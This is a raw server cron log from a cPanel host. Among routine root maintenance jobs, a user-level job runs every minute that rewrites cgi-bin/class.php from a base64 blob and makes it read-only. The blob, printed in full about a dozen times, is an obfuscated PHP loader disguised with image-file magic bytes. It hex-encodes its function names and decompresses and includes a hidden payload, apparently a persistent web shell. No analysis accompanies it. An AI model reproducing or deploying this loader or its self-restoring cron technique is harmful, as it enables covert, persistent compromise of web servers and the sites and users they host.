Sep  1 19:12:01 server CROND[7361]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 19:12:01 server CROND[7362]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 19:12:01 server CROND[7363]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 19:12:01 server CROND[7364]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 19:13:01 server CROND[7756]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 19:13:01 server CROND[7757]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 19:13:01 server CROND[7758]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 19:14:01 server CROND[8235]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 19:14:01 server CROND[8236]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 19:14:01 server CROND[8238]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 19:15:01 server CROND[8624]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 19:15:01 server CROND[8625]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 19:15:01 server CROND[8629]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 19:15:01 server CROND[8628]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 19:15:01 server CROND[8632]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 19:15:01 server CROND[8630]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  1 19:15:01 server CROND[8633]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 19:15:01 server CROND[8631]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 19:16:01 server CROND[9521]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 19:16:01 server CROND[9522]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 19:16:01 server CROND[9523]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 19:17:01 server CROND[9911]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 19:17:01 server CROND[9912]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 19:17:01 server CROND[9913]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 19:18:01 server CROND[10306]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 19:18:01 server CROND[10307]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 19:18:01 server CROND[10308]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 19:19:01 server CROND[10687]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 19:19:01 server CROND[10688]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 19:19:01 server CROND[10689]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 19:20:01 server CROND[11171]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 19:20:01 server CROND[11173]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 19:20:01 server CROND[11181]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 19:20:01 server CROND[11189]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 19:20:01 server CROND[11192]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 19:20:01 server CROND[11191]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 19:20:01 server CROND[11194]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 19:20:01 server CROND[11196]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 19:20:01 server CROND[11195]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 19:21:01 server CROND[12025]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 19:21:01 server CROND[12026]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 19:21:01 server CROND[12027]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 19:22:01 server CROND[12455]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 19:22:01 server CROND[12456]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 19:22:01 server CROND[12457]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 19:23:01 server CROND[12857]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 19:23:01 server CROND[12858]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 19:23:01 server CROND[12859]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 19:24:01 server CROND[13244]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
